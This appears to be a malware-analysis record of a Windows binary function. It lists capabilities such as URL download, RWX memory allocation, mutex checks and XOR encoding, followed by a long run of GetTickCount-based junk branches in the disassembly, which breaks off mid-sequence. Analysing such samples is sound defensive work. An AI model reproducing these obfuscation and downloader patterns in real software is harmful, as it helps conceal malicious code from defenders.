Function at 0x140001960
Capabilities:
Allocate or change rwx memory
Check mutex and terminate process on windows
Check mutex on windows
Delete file
Download url
Encode data using xor
Get common file path
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x720
mov rax, qword [0x1400190a8]
xor rax, rsp
mov qword [rsp + 0x710], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x3245
jle 0x1400019a5
add eax, 0x3245
cmp eax, 0x20e5
jle 0x1400019b1
add eax, 0x20e5
cmp eax, 0x4d4f
jle 0x1400019bd
add eax, 0x4d4f
cmp eax, 0x2922
jle 0x1400019c9
add eax, 0x2922
cmp eax, 0x54a1
jle 0x1400019d5
add eax, 0x54a1
cmp eax, 0x2ead
jle 0x1400019e1
add eax, 0x2ead
cmp eax, 0x7ea0
jle 0x1400019ed
add eax, 0x7ea0
cmp eax, 0x5979
jle 0x1400019f9
add eax, 0x5979
cmp eax, 0x7a05
jle 0x140001a05
add eax, 0x7a05
cmp eax, 0x1187
jle 0x140001a11
add eax, 0x1187
cmp eax, 0x7a3d
jle 0x140001a1d
add eax, 0x7a3d
cmp eax, 0x2259
jle 0x140001a29
add eax, 0x2259
cmp eax, 0x737a
jle 0x140001a35
add eax, 0x737a
cmp eax, 0x1329
jle 0x140001a41
add eax, 0x1329
cmp eax, 0x6c98
jle 0x140001a4d
add eax, 0x6c98
cmp eax, 0x21c2
jle 0x140001a59
add eax, 0x21c2
cmp eax, 0x3d14
jle 0x140001a65
add eax, 0x3d14
cmp eax, 0x7d24
jle 0x140001a71
add eax, 0x7d24
cmp eax, 0x7f90
jle 0x140001a7d
add eax, 0x7f90
cmp eax, 0x665
jle 0x140001a89
add eax, 0x665
cmp eax, 0x5c9
jle 0x140001a95
add eax, 0x5c9
cmp eax, 0x5166
jle 0x140001aa1
add eax, 0x5166
cmp eax, 0x40e5
jle 0x140001aad
add eax, 0x40e5
cmp eax, 0x2c51
jle 0x140001ab9
add eax, 0x2c51
cmp eax, 0x6982
jle 0x140001ac5
add eax, 0x6982
cmp eax, 0x6c03
jle 0x140001ad1
add eax, 0x6c03
cmp eax, 0x4cf0
jle 0x140001add
add eax, 0x4cf0
cmp eax, 0x6cce
jle 0x140001ae9
add eax, 0x6cce
cmp eax, 0x1173
jle 0x140001af5
add eax, 0x1173
cmp eax, 0x7235
jle 0x140001b01
add eax, 0x7235
cmp eax, 0x1191
jle 0x140001b0d
add eax, 0x1191
cmp eax, 0x2589
jle 0x140001b19
add eax, 0x2589
cmp eax, 0x2ea8
jle 0x140001b25
add eax, 0x2ea8
cmp eax, 0x32a1
jle 0x140001b31
add eax, 0x32a1
cmp eax, 0x3d68
jle 0x140001b3d
add eax, 0x3d68
cmp eax, 0x3af2
jle 0x140001b49
add eax, 0x3af2
cmp eax, 0x2e1
jle 0x140001b55
add eax, 0x2e1
cmp eax, 0x5adb
jle 0x140001b61
add eax, 0x5adb
cmp eax, 0x2f48
jle 0x140001b6d
add eax, 0x2f48
cmp eax, 0x19e3
jle 0x140001b79
add eax, 0x19e3
cmp eax, 0x6ba0
jle 0x140001b85
add eax, 0x6ba0
cmp eax, 0x262d
jle 0x140001b91
add eax, 0x262d
cmp eax, 0x79e8
jle 0x140001b9d
add eax, 0x79e8
cmp eax, 0x7c82
jle 0x140001ba9
add eax, 0x7c82
cmp eax, 0x2380
jle 0x140001bb5
add eax, 0x2380
cmp eax, 0x6994
jle 0x140001bc1
add eax, 0x6994
cmp eax, 0x4fdc
jle 0x140001bcd
add eax, 0x4fdc
cmp eax, 0x7668
jle 0x140001bd9
add eax, 0x7668
cmp eax, 0x2dc8
jle 0x140001be5
add eax, 0x2dc8
cmp eax, 0x210c
jle 0x140001bf1
add eax, 0x210c
cmp eax, 0x6bc4
jle 0x140001bfd
add eax, 0x6bc4
cmp eax, 0xc03
jle 0x140001c09
add eax, 0xc03
cmp eax, 0x2040
jle 0x140001c15
add eax, 0x2040
cmp eax, 0x620d
jle 0x140001c21
add eax, 0x620d
cmp eax, 0x48c4
jle 0x140001c2d
add eax, 0x48c4
cmp eax, 0x5938
jle 0x140001c39
add eax, 0x5938
cmp eax, 0x3f44
jle 0x140001c45
add eax, 0x3f44
cmp eax, 0x5756
jle 0x140001c51
add eax, 0x5756
cmp eax, 0x3f34
jle 0x140001c5d
add eax, 0x3f34
cmp eax, 0xb4d
jle 0x140001c69
add eax, 0xb4d
cmp eax, 0x2016
jle 0x140001c75
add eax, 0x2016
cmp eax, 0x29e9
jle 0x140001c81
add eax, 0x29e9
cmp eax, 0x5998
jle 0x140001c8d
add eax, 0x5998
cmp eax, 0x3207
jle 0x140001c99
add eax, 0x3207
cmp eax, 0x4579
jle 0x140001ca5
add eax, 0x4579
cmp eax, 0x7b57
jle 0x140001cb1
add eax, 0x7b57
cmp eax, 0x75d2
jle 0x140001cbd
add eax, 0x75d2
cmp eax, 0x2c0f
jle 0x140001cc9
add eax, 0x2c0f
cmp eax, 0x6a7b
jle 0x140001cd5
add eax, 0x6a7b
cmp eax, 0x553d
jle 0x140001ce1
add eax, 0x553d
cmp eax, 0x696
jle 0x140001ced
add eax, 0x696
cmp eax, 0x329a
jle 0x140001cf9
add eax, 0x329a
cmp eax, 0x6f92
jle 0x140001d05
add eax, 0x6f92
cmp eax, 0x320f
jle 0x140001d11
add eax, 0x320f
cmp eax, 0x91f
jle 0x140001d1d
add eax, 0x91f
cmp eax, 0x4849
jle 0x140001d29
add eax, 0x4849
cmp eax, 0x1dea
jle 0x140001d35
add eax, 0x1dea
cmp eax, 0x314
jle 0x140001d41
add eax, 0x314
cmp eax, 0x320
jle 0x140001d4d
add eax, 0x320
cmp eax, 0xf4e
jle 0x140001d59
add eax, 0xf4e
cmp eax, 0x34fe
jle 0x140001d65
add eax, 0x34fe
cmp eax, 0x57b2
jle 0x140001d71
add eax, 0x57b2
cmp eax, 0x1cfe
jle 0x140001d7d
add eax, 0x1cfe
cmp eax, 0x4ad1
jle 0x140001d89
add eax, 0x4ad1
cmp eax, 0x7666
jle 0x140001d95
add eax, 0x7666
cmp eax, 0x9ec
jle 0x140001da1
add eax, 0x9ec
cmp eax, 0x2c3c
jle 0x140001dad
add eax, 0x2c3c
cmp eax, 0xf92
jle 0x140001db9
add eax, 0xf92
cmp eax, 0x23ef
jle 0x140001dc5
add eax, 0x23ef
cmp eax, 0x1429
jle 0x140001dd1
add eax, 0x1429
cmp eax, 0x4237
jle 0x140001ddd
add eax, 0x4237
cmp eax, 0x67cf
jle 0x140001de9
add eax, 0x67cf
cmp eax, 0x23f1
jle 0x140001df5
add eax, 0x23f1
cmp eax, 0x7437
jle 0x140001e01
add eax, 0x7437
cmp eax, 0x1313
jle 0x140001e0d
add eax, 0x1313
cmp eax, 0x6e68
jle 0x140001e19
add eax, 0x6e68
cmp eax, 0x3fdd
jle 0x140001e25
add eax, 0x3fdd
cmp eax, 0x3f8f
jle 0x140001e31
add eax, 0x3f8f
cmp eax, 0x48f5
jle 0x140001e3d
add eax, 0x48f5
cmp eax, 0x2541
jle 0x140001e49
add eax, 0x2541
cmp eax, 0x3116
jle 0x140001e55
add eax, 0x3116
cmp eax, 0x4cdb
jle 0x140001e61
add eax, 0x4cdb
cmp eax, 0x1772
jle 0x140001e6d
add eax, 0x1772
cmp eax, 0xae8
jle 0x140001e79
add eax, 0xae8
cmp eax, 0x7002
jle 0x140001e85
add eax, 0x7002
cmp eax, 0x16b5
jle 0x140001e91
add eax, 0x16b5
cmp eax, 0x2348
jle 0x140001e9d
add eax, 0x2348
cmp eax, 0x3378
jle 0x140001ea9
add eax, 0x3378
cmp eax, 0x7960
jle 0x140001eb5
add eax, 0x7960
cmp eax, 0x3bb2
jle 0x140001ec1
add eax, 0x3bb2
cmp eax, 0x124c
jle 0x140001ecd
add eax, 0x124c
cmp eax, 0x68bd
jle 0x140001ed9
add eax, 0x68bd
cmp eax, 0x7ddc
jle 0x140001ee5
add eax, 0x7ddc
cmp eax, 0x3f9f
jle 0x140001ef1
add eax, 0x3f9f
cmp eax, 0x57a4
jle 0x140001efd
add eax, 0x57a4
cmp eax, 0x1598
jle 0x140001f09
add eax, 0x1598
cmp eax, 0x2fe0
jle 0x140001f15
add eax, 0x2fe0
cmp eax, 0x720a
jle 0x140001f21
add eax, 0x720a
cmp eax, 0x1036
jle 0x140001f2d
add eax, 0x1036
cmp eax, 0xa5
jle 0x140001f39
add eax, 0xa5
cmp eax, 0x23ae
jle 0x140001f45
add eax, 0x23ae
cmp eax, 0x1e05
jle 0x140001f51
add eax, 0x1e05
cmp eax, 0x360
jle 0x140001f5d
add eax, 0x360
cmp eax, 0x1a1c
jle 0x140001f69
add eax, 0x1a1c
cmp eax, 0x75ac
jle 0x140001f75
add eax, 0x75ac
cmp eax, 0x6726
jle 0x140001f81
add eax, 0x6726
cmp eax, 0x1bea
jle 0x140001f8d
add eax, 0x1bea
cmp eax, 0x60f5
jle 0x140001f99
add eax, 0x60f5
cmp eax, 0x2afe
jle 0x140001fa5